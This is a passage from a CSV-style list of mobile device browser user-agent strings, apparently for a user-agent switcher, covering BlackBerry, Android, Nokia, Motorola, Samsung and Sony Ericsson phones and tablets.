Devices,8300 Bold,BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0\nMobile Devices,8320 Curve,BlackBerry8320/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/100\nMobile Devices,8330,BlackBerry8330/4.3.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/105\nMobile Devices,9000,BlackBerry9000/4.6.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102\nMobile Devices,9530 Storm,BlackBerry9530/4.7.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102 UP.Link/6.3.1.20.0\nMobile Devices,9700,BlackBerry9700/5.0.0.351 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/123\nMobile Devices,9800 Torch - Safari 534.1,\"Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1  (KHTML, Like Gecko) Version/6.0.0.141 Mobile Safari/534.1\"\nMobile Devices,9930 - Safari 534.11,\"Mozilla/5.0 (BlackBerry; U; BlackBerry 9930; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.267 Mobile Safari/534.11+\"\nMobile Devices,Keyone BBB100-1 - Safari 537.36,\"Mozilla/5.0 (Linux; Android 7.1.1; BBB100-1 Build/NMF26F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36\"\nMobile Devices,Playbook (tablet) - OS 2.1.0 - Safari 536.2+,Mozilla/5.0 (PlayBook; U; RIM Tablet OS 2.1.0; en-US) AppleWebKit/536.2+ (KHTML like Gecko) Version/7.2.1.0 Safari/536.2+\nMobile Devices,Z10 - BB10 OS - Mobile Safari 537.10+,\"Mozilla/5.0 (BB10; Touch) AppleWebKit/537.10+ (KHTML, like Gecko) Version/10.1.0.2342 Mobile Safari/537.10+\"\nMobile Devices,3622A Build/LMY47V - Android 5.1.1 - Chrome 58,\"Mozilla/5.0 (Linux; Android 5.1.1; Coolpad 3622A Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36\"\nMobile Devices,3632A Build/NMF26F - Android 7.1.1 - Chrome 59,\"Mozilla/5.0 (Linux; Android 7.1.1; Coolpad 3632A Build/NMF26F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36\"\nMobile Devices,Android SDK - Android 1.5 - Mobile Safari 525.20,\"Mozilla/5.0 (Linux; U; Android 1.5; en-us; sdk Build/CUPCAKE) AppleWebkit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\"\nMobile Devices,Nexus One - Android 2.1 - Mobile Safari 530.17,\"Mozilla/5.0 (Linux; U; Android 2.1; en-us; Nexus One Build/ERD62) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\"\nMobile Devices,Nexus One - Android 2.2 - Mobile Safari 533.1,\"Mozilla/5.0 (Linux; U; Android 2.2; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\"\nMobile Devices,Nexus 5 - Android 4.4 - AppleWebKit/536.23,\"Mozilla/5.0 (Linux; Android 4.4; Nexus 5 Build/BuildID) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36\"\nMobile Devices,Nexus 5X - Android 6.0 - Chome 53.0,\"Mozilla/5.0 (Linux; Android 6.0; Nexus 5X Build/MDB08L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.124 Mobile Safari/537.36\"\nMobile Devices,Nexus 6P - Android 7.1.2 - Chrome 53.0,\"Mozilla/5.0 (Linux; Android 7.1.2; Nexus 6P Build/N2G48C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36\"\nMobile Devices,Nexus 7 - Android 4.4.4 - AppleWebKit/537.36,Mozilla/5.0 (Linux; Android 4.4.4; Nexus 7 Build/KTU84P) AppleWebKit/537.36 (KHTML like Gecko) Chrome/36.0.1985.135 Safari/537.36\nMobile Devices,Nexus 7 - Android 5.1.1 - Opera 30.0,\"Mozilla/5.0 (Linux; Android 5.1.1; Nexus 7 Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.78 Safari/537.36 OPR/30.0.1856.93524\"\nMobile Devices,Nexus 9 - Android 7.0 - Chrome 53.0,\"Mozilla/5.0 (Linux; Android 7.0; Nexus 9 Build/NRD90R) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.124 Safari/537.36\"\nMobile Devices,Pixel NHG47N - Android 7.1.2 - Chrome 58.0,\"Mozilla/5.0 (Linux; Android 7.1.2; Pixel Build/NHG47N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36\"\nMobile Devices,Pixel XL OPR6 - Android 8.0.0 - Chrome 60.0,\"Mozilla/5.0 (Linux; Android 8.0.0; Pixel XL Build/OPR6.170623.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36\"\nMobile Devices,Touchpad 1.0 - WebOS 3.0.2 - wOSBrowser 234.40.1,\"Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.2; U; de-DE) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/234.40.1 Safari/534.6 TouchPad/1.0\"\nMobile Devices,Pre3 - webOS 2.2.4 - wOSBrowser 221.56,\"Mozilla/5.0 (Linux; webOS/2.2.4; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) webOSBrowser/221.56 Safari/534.6 Pre/3.0\"\nMobile Devices,6800 - WinCE - IEMobile 7.11 (MSIE 6.0) - Sprint,Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11) Sprint:PPC6800\nMobile Devices,6800 - WinCE - IEMobile 7.11 (MSIE 6.0) - Verizon,Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11) XV6800\nMobile Devices,Bahamas - Android 1.5 - Mobile Safari 525.20.1,\"Mozilla/5.0 (Linux; U; Android 1.5; en-us; htc_bahamas Build/CRB17) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\"\nMobile Devices,Desire - Android 2.1 - Mobile Safari 530.17,\"Mozilla/5.0 (Linux; U; Android 2.1-update1; de-de; HTC Desire 1.19.161.5 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\"\nMobile Devices,Dream - Android 1.5 - Mobile Safari 525,\"HTC_Dream Mozilla/5.0 (Linux; U; Android 1.5; en-ca; Build/CUPCAKE) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\"\nMobile Devices,Evo - Android 2.2 - Mobile Safari 533.1,\"Mozilla/5.0 (Linux; U; Android 2.2; en-us; Sprint APA9292KT Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\"\nMobile Devices,Hero - Android 1.5 - Mobile Safari 525.20,\"Mozilla/5.0 (Linux; U; Android 1.5; de-ch; HTC Hero Build/CUPCAKE) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\"\nMobile Devices,Incredible - Android 2.2 - Mobile Safari 533.1,\"Mozilla/5.0 (Linux; U; Android 2.2; en-us; ADR6300 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\"\nMobile Devices,Legend - Android 2.1 - Mobile Safari 530.17,\"Mozilla/5.0 (Linux; U; Android 2.1; en-us; HTC Legend Build/cupcake) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\"\nMobile Devices,Magic - Android 1.5 - Mobile Safari 525.20.1,\"Mozilla/5.0 (Linux; U; Android 1.5; de-de; HTC Magic Build/PLAT-RC33) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 FirePHP/0.3\"\nMobile Devices,One M9 - Android 6.0 - Chrome 52.0,\"Mozilla/5.0 (Linux; Android 6.0; HTC One M9 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36\"\nMobile Devices,Sensation - Android 4.0.3 - Mobile Safari 534.30,\"Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\"\nMobile Devices,ST7377 - Win XP - Opera 9.5,HTC-ST7377/1.59.502.3 (67150) Opera/9.50 (Windows NT 5.1; U; en) UP.Link/6.3.1.17.0\nMobile Devices,Tattoo - Android 1.6 - Mobile Safari 525.20.1,\"Mozilla/5.0 (Linux; U; Android 1.6; en-us; HTC_TATTOO_A3288 Build/DRC79) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\"\nMobile Devices,ALE-L21 - Android 6.0 - Chrome 50,\"Mozilla/5.0 (Linux; Android 6.0; ALE-L21 Build/HuaweiALE-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36\"\nMobile Devices,Hydro Wave C6740N - Android 5.1 - Chrome 42,\"Mozilla/5.0 (Linux; Android 5.1; C6740N Build/LMY47O) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.111 Mobile Safari/537.36\"\nMobile Devices,Escape P870 - Android 4.1,\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; LG-P870/P87020d Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\"\nMobile Devices,Fusic LX550,LG-LX550 AU-MIC-LX550/2.0 MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1\nMobile Devices,LG-D850 - Android 6.0 - Chome 53.0,\"Mozilla/5.0 (Linux; Android 6.0; LG-D850 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.97 Mobile Safari/537.36\"\nMobile Devices,LG-H918 - Android 7.0 - Chome 56.0,\"Mozilla/5.0 (Linux; Android 7.0; LG-H918 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Mobile Safari/537.36\"\nMobile Devices,LG-L84VL - Android 7.0 - Chome 59.0,\"Mozilla/5.0 (Linux; Android 7.0; LGL84VL Build/NRD90U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36\"\nMobile Devices,LGUS997 - Android 7.0 - Chrome 59,\"Mozilla/5.0 (Linux; Android 7.0; LGUS997 Build/NRD90U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36\"\nMobile Devices,Optimus LGMS323 - Android 4.4 - Chrome 30,\"Mozilla/5.0 (Linux; Android 4.4.2; LGMS323 Build/KOT49I.MS32310b) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.103 Mobile Safari/537.36\"\nMobile Devices,Rumor2 LX265 - Polaris,POLARIS/6.01(BREW 3.1.5;U;en-us;LG;LX265;POLARIS/6.01/WAP;)MMP/2.0 profile/MIDP-201 Configuration /CLDC-1.1\nMobile Devices,Viewty,LG-GC900/V10a Obigo/WAP2.0 Profile/MIDP-2.1 Configuration/CLDC-1.1\nMobile Devices,V410 Tablet - Android 4.4 - Chrome 30,\"Mozilla/5.0 (Linux; Android 4.4.2; LG-V410 Build/KOT49I.V41010d) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.103 Safari/537.36\"\nMobile Devices,MDA Pro - Win CE,Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; MDA Pro/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1)\nMobile Devices,T-Mobile G1 - Android 1.0 - Mobile Safari 523.12.2,\"Mozilla/5.0 (Linux; U; Android 1.0; en-us; dream) AppleWebKit/525.10  (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2\"\nMobile Devices,T-Mobile G1 - Android 1.5 -  Mobile Safari 525.20.1,\"Mozilla/5.0 (Linux; U; Android 1.5; en-us; T-Mobile G1 Build/CRB43) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari 525.20.1\"\nMobile Devices,T-Mobile G2 - Android 1.5 - Mobile Safari 525.20.1,\"Mozilla/5.0 (Linux; U; Android 1.5; en-gb; T-Mobile_G2_Touch Build/CUPCAKE) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\"\nMobile Devices,Droid - Android 2.0 - Mobile Safari 530.17,\"Mozilla/5.0 (Linux; U; Android 2.0; en-us; Droid Build/ESD20) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\"\nMobile Devices,Droid V2.2 - Android 2.2 - Mobile Safari 533.1,\"Mozilla/5.0 (Linux; U; Android 2.2; en-us; Droid Build/FRG22D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\"\nMobile Devices,L7,MOT-L7v/08.B7.5DR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0\nMobile Devices,Milestone - Android 2.0 - Mobile Safari 4.0,\"Mozilla/5.0 (Linux; U; Android 2.0; en-us; Milestone Build/ SHOLS_U2_01.03.1) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\"\nMobile Devices,Milestone  Android 2.0.1 - Mobile Safari 4.0,\"Mozilla/5.0 (Linux; U; Android 2.0.1; de-de; Milestone Build/SHOLS_U2_01.14.0) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\"\nMobile Devices,Moto G (5) Android 7.0 - Chrome 60,\"Mozilla/5.0 (Linux; Android 7.0; Moto G (5) Plus Build/NPNS25.137-35-5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36\"\nMobile Devices,Moto Z2XT1710-02 - Android 7.1.1 - Chrome 59,\"Mozilla/5.0 (Linux; Android 7.1.1; XT1710-02 Build/NDS26.74-36) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36\"\nMobile Devices,Razr V9,MOT-V9mm/00.62 UP.Browser/6.2.3.4.c.1.123 (GUI) MMP/2.0\nMobile Devices,RIZR - Symbian OS - Opera 8.65,MOTORIZR-Z8/46.00.00 Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 356) Opera 8.65 [it] UP.Link/6.3.0.0.0\nMobile Devices,V177,MOT-V177/0.1.75 UP.Browser/6.2.3.9.c.12 (GUI) MMP/2.0 UP.Link/6.3.1.13.0\nMobile Devices,Xoom - Android 3.0.1 - Mobile Safari 523.12,\"Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/525.10  (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2\"\nMobile Devices,XT1032 - Android 4.4.4 - Chrome 45/Mobile Safari 537.36,\"Mozilla/5.0 (Linux; Android 4.4.4; XT1032 Build/KXB21.14-L1.61) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Mobile Safari/537.36\"\nMobile Devices,NEC n410i i-Mode,portalmmm/2.0 N410i(c20;TB)\nMobile Devices,3230 - SymbianOS 7.0s,Nokia3230/2.0 (5.0614.0) SymbianOS/7.0s Series60/2.1 Profile/MIDP-2.0 Configuration/CLDC-1.0\nMobile Devices,5700 - SymbianOS 9.2 - Safari 413,\"Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 Nokia5700/3.27; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413\"\nMobile Devices,6120 Classic - SymbianOS 9.2 - Safari 413,\"Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 Nokia6120c/3.70; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413\"\nMobile Devices,6230,Nokia6230/2.0 (04.44) Profile/MIDP-2.0 Configuration/CLDC-1.1\nMobile Devices,6230i,Nokia6230i/2.0 (03.80) Profile/MIDP-2.0 Configuration/CLDC-1.1\nMobile Devices,6600 Smartphone - Symbian OS - Opera 6.20,Mozilla/4.1 (compatible; MSIE 5.0; Symbian OS; Nokia 6600;452) Opera 6.20 [en-US]\nMobile Devices,6630 - SymbianOS 8.0,Nokia6630/1.0 (2.39.15) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1\nMobile Devices,7250,Nokia7250/1.0 (3.14) Profile/MIDP-1.0 Configuration/CLDC-1.0\nMobile Devices,9500,Mozilla/4.0 (compatible; MSIE 5.0; Series80/2.0 Nokia9500/4.51 Profile/MIDP-2.0 Configuration/CLDC-1.1)\nMobile Devices,C6-01 - Symbian 3 - Safari 525,\"Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaC6-01/011.010; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.7.2 3gpp-gba\"\nMobile Devices,C7 - Symbian 3 - Safari 525,\"Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaC7-00/012.003; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.7.3 3gpp-gba\"\nMobile Devices,E50 - SymbianOS 9.1 - Safari 413 es50,\"Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es50\"\nMobile Devices,E6-00 - SymbianOS 3 - Safari 533.4,\"Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaE6-00/021.002; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/533.4 (KHTML, like Gecko) NokiaBrowser/7.3.1.16 Mobile Safari/533.4 3gpp-gba\"\nMobile Devices,E63 - SymbianOS 9.2 - UCWEB 8.8 (webkit),UCWEB/8.8 (SymbianOS/9.2; U; en-US; NokiaE63) AppleWebKit/534.1 UCBrowser/8.8.0.245 Mobile\nMobile Devices,E65 - SymbianOS 9.1 - Safari 413 es65,\"Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es65\"\nMobile Devices,E7 - Symbian 3 - Safari 525,\"Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaE7-00/010.016; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.7.3 3gpp-gba\"\nMobile Devices,E70 - SymbianOS 9.1 - Safari 413 es70,\"Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es70\"\nMobile Devices,E90 - SymbianOS 9.2 - Safari 413,\"Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaE90-1/07.24.0.3; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413 UP.Link/6.2.3.18.0\"\nMobile Devices,Lumia 530 ARM - Windows Phone 8.1 - IEMobile 11.0,Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 530) like Gecko\nMobile Devices,Lumia 620 ARM - Windows Phone OS 8.0 - IEMobile 10.0,Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920)\nMobile Devices,Lumia 630 ARM - Windows Phone 8.1 - IEMobile 11.0,Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 630) like Gecko\nMobile Devices,Lumia 635 ARM - Windows NT 6.2 - IEMobile 11.0,Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 635) like Gecko\nMobile Devices,Lumia 920 ARM - Windows NT 6.2 - IEMobile 11.0,Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 920) like Geckoo\nMobile Devices,Lumia 920 ARM - Windows Phone 8.1 - IEMobile 11.0,Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 920) like Gecko\nMobile Devices,N70,NokiaN70-1/5.0609.2.0.1 Series60/2.8 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0\nMobile Devices,N73 - SymbianOS 9.1 - Safari 413,\"Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413\"\nMobile Devices,N73 (Service),NokiaN73-1/3.0649.0.0.1 Series60/3.0 Profile/MIDP2.0 Configuration/CLDC-1.1\nMobile Devices,N8 - Symbian 3 - Safari 525,\"Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaN8-00/014.002; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.6.4 3gpp-gba\"\nMobile Devices,N80 - SymbianOS 9.1 - Safari 413,\"Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413\"\nMobile Devices,N9 - MeeGo - Safari 534.13,\"Mozilla/5.0 (MeeGo; NokiaN9) AppleWebKit/534.13 (KHTML, like Gecko) NokiaBrowser/8.5.0 Mobile Safari/534.13\"\nMobile Devices,N93 - SymbianOS 9.1 - Safari 413,\"Mozilla/5.0 (SymbianOS/9.1; U; de) AppleWebKit/413 (KHTML, like Gecko) Safari/413\"\nMobile Devices,N95 - SymbianOS 9.2 - Safari 413,\"Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95/10.0.018; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413 UP.Link/6.3.0.0.0\"\nMobile Devices,N950 - MeeGo - Safari 534.13,\"Mozilla/5.0 (MeeGo; NokiaN950-00/00) AppleWebKit/534.13 (KHTML, like Gecko) NokiaBrowser/8.5.0 Mobile Safari/534.13\"\nMobile Devices,N97 - SymbianOS 9.4 - WicKed 7.1.12344,\"Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344\"\nMobile Devices,X7 - Symbian 3 - Safari 533.4,\"Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaX7-00/021.004; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/533.4 (KHTML, like Gecko) NokiaBrowser/7.3.1.21 Mobile Safari/533.4 3gpp-gba\"\nMobile Devices,Safari 525 - WebOS - Safari 525.27.1,\"Mozilla/5.0 (webOS/1.3; U; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/1.0 Safari/525.27.1 Desktop/1.0\"\nMobile Devices,Treo 650 - PalmSource,Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; PalmSource/hspr-H102; Blazer/4.0) 16;320x320\nMobile Devices,e900 - Opera/Netfront,SEC-SGHE900/1.0 NetFront/3.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4509/1378; nl; U; ssr)\nMobile Devices,Galaxy - Android 1.5 - Mobile Safari 525.20,\"Mozilla/5.0 (Linux; U; Android 1.5; de-de; Galaxy Build/CUPCAKE) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\"\nMobile Devices,Galaxy - Android 2.2 - Mobile Safari 533.1,\"Mozilla/5.0 (Linux; U; Android 2.2; en-ca; GT-P1000M Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\"\nMobile Devices,Galaxy (Verizon) - Android 2.2 - Mobile Safari 533.1,\"Mozilla/5.0 (Linux; U; Android 2.2; en-us; SCH-I800 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\"\nMobile Devices,Galaxy S II - Android 4.0.3 - Mobile Safari 534.30,\"Mozilla/5.0 (Linux; U; Android 4.0.3; de-de; Galaxy S II Build/GRJ22) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\"\nMobile Devices,Galaxy S 3 (SPH-L710) - Android 4.3 - Chrome 32.0,\"Mozilla/5.0 (Linux; Android 4.3; SPH-L710 Build/JSS15J) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.99 Mobile Safari/537.36\"\nMobile Devices,Galaxy S 4 (SCH-R970) - Android 5.0 - Chrome 45.0,\"Mozilla/5.0 (Linux; Android 5.0.1; SCH-R970 Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36\"\nMobile Devices,Galaxy S 5 (SM-G900A) - Android 4.4 - Chrome 45.0,\"Mozilla/5.0 (Linux; Android 4.4.2; SAMSUNG-SM-G900A Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Mobile Safari/537.36\"\nMobile Devices,Galaxy GT-P5210 tablet - Android 4.4.2 - AppleWebKit 534.30,\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; GT-P5210 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\"\nMobile Devices,GT-P7100 tablet - Android 3.0.1 - AppleWebKit 534.13,\"Mozilla/5.0 (Linux; U; Android 3.0.1; en-us; GT-P7100 Build/HRI83) AppleWebkit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\"\nMobile Devices,Jet,SAMSUNG-S8000/S8000XXIF3 SHP/VPP/R5 Jasmine/1.0 Nextreaming SMM-MMS/1.2.0 profile/MIDP-2.1 configuration/CLDC-1.1 FirePHP/0.3\nMobile Devices,Moment - Android 1.5 - Mobile Safari 525.20.1,\"Mozilla/5.0 (Linux; U; Android 1.5; en-us; SPH-M900 Build/CUPCAKE) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\"\nMobile Devices,SGH-A867 - Netfront,SAMSUNG-SGH-A867/A867UCHJ3 SHP/VPP/R5 NetFront/35 SMM-MMS/1.2.0 profile/MIDP-2.0 configuration/CLDC-1.1 UP.Link/6.3.0.0.0\nMobile Devices,SGH X210 (WML),SEC-SGHX210/1.0 UP.Link/6.3.1.13.0\nMobile Devices,SM-G900H - Android 6.0.1 - Chrome 52.0,\"Mozilla/5.0 (Linux; Android 6.0.1; SM-G900H Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36\"\nMobile Devices,SM-G925R6 - Android 7.0 - Chrome 51.0,\"Mozilla/5.0 (Linux; Android 7.0; SAMSUNG SM-G925R6 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/5.4 Chrome/51.0.2704.106 Mobile Safari/537.36\"\nMobile Devices,SM-T537A - Android 4.4.2 - Chrome 35.0,Mozilla/5.0 (Linux; Android 4.4.2; SAMSUNG-SM-T537A Build/KOT49H) AppleWebKit/537.36 (KHTML like Gecko) Chrome/35.0.1916.141 Safari/537.36\nMobile Devices,Spica - Android 1.5 - Mobile Safari 525.20,\"Mozilla/5.0 (Linux; U; Android 1.5; fr-fr; GT-I5700 Build/CUPCAKE) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\"\nMobile Devices,X820,SEC-SGHX820/1.0 NetFront/3.2 Profile/MIDP-2.0 Configuration/CLDC-1.1\nMobile Devices,K310iv,SonyEricssonK310iv/R4DA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0\nMobile Devices,K550i,SonyEricssonK550i/R1JD Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nMobile Devices,K610i,SonyEricssonK610i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nMobile Devices,K750i,SonyEricssonK750i/R1CA Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1\nMobile Devices,K800 - Opera 9.8,Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.16823/1428; U; en) Presto/2.2.0\nMobile Devices,K800i,SonyEricssonK800i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0\nMobile Devices,K810i,SonyEricssonK810i/R1KG Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nMobile Devices,P900 - Opera 8.0 Mini,Opera/8.01 (J2ME/MIDP; Opera Mini/1.0.1479/HiFi; SonyEricsson P900; no; U; ssr)\nMobile Devices,S500i,SonyEricssonS500i/R6BC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nMobile Devices,Satio - Safari 525,\"Mozilla/5.0 (SymbianOS/9.4; U; Series60/5.0 SonyEricssonP100/01; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 